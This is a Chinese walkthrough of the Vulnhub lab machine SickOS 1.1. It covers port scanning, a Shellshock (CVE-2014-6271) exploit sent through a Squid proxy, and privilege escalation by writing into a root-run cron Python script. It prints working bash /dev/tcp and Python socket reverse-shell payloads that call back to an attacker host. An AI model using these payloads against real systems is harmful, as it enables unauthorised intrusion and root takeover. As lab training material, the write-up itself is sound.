Vulnhub靶机实操笔记-SickOS1.1-解法二
涉及知识内容:Nikto扫描、Shellshock利用、定时任务内网提权
sudo nmap -sn 192.168.32.0/24
以不低于1w的速度快速扫描端口
sudo nmap --min-rate 10000 -p- 192.168.32.137
使用TCP和UDP的形式对扫出的端口进行协议的查看
sudo nmap -sT -sV -O -p22,3128,8080 192.168.32.137
sudo nmap -sU -p22,3128,8080 192.168.32.137
sudo nmap --script=vuln -p22,3128,8080 192.168.32.137
Nikto是网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,可以用来端口和目录的扫描
这边提示是存在一个CVE-2014-6271漏洞,shellshock尝试去利用一下
sudo nikto -h 192.168.32.137 -useproxy http://192.168.32.137:3128
-useproxy #使用HTTP代理
百度了一下CVE-2014-6271漏洞的利用方式,EXP如下
CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中, 只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞, 获取目标系统当前Bash运行用户相同权限的shell接口。
第一步,修改数据包,命令执行:
GET /victim.cgi HTTP/1.1
Host: 192.168.32.131:1234
User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
第二步,监听端口,shell反弹成功:
sudo nc -lvvp 1234
sudo curl -v --proxy http://192.168.32.137:3128 http://192.168.32.137/cgi-bin/status -H "User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.32.131/1234 0>&1;"
-v #输出详情
--proxy #使用代理
###注意sh需要写绝对路径
成功获得shell
命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell
dpkg -l #查已安装的软件
python -c "import pty;pty.spawn('/bin/bash')"
当cat connect.py时 看到 "I Try to connect things very frequently" “很规律的去连接一些事情,你可以尝试我的服务” ,也就是说明应该有一个定时任务
查看定时任务
cat etc/crontab #常用,没有的话看看第二个命令
cat etc/cron.d #cron.d 是/etc下的目录,重点进去是否有计划任务文件
第一个命令 ,可以看到 并没有什么定时任务
第二个命令,cron.d的目录下automate文件里有一个叫connect.py的定时任务,可以看到
每分钟以root权限用python去执行 /var/www/connect.py脚本
查看connect.py权限发现有写的权限
ls -lai /var/www/connect.py
Google搜了一个python反弹脚本
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
因为在python文件中修改的,所有插入下面的具体内容
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.131",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
使用nc进行端口监听
sudo nc -lvvp 4242
cd到/var/www对connect.py文件进行修改,shell比较奇怪,输入o新建一行,如何将shellcode输入到python中
成功获得root权限
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。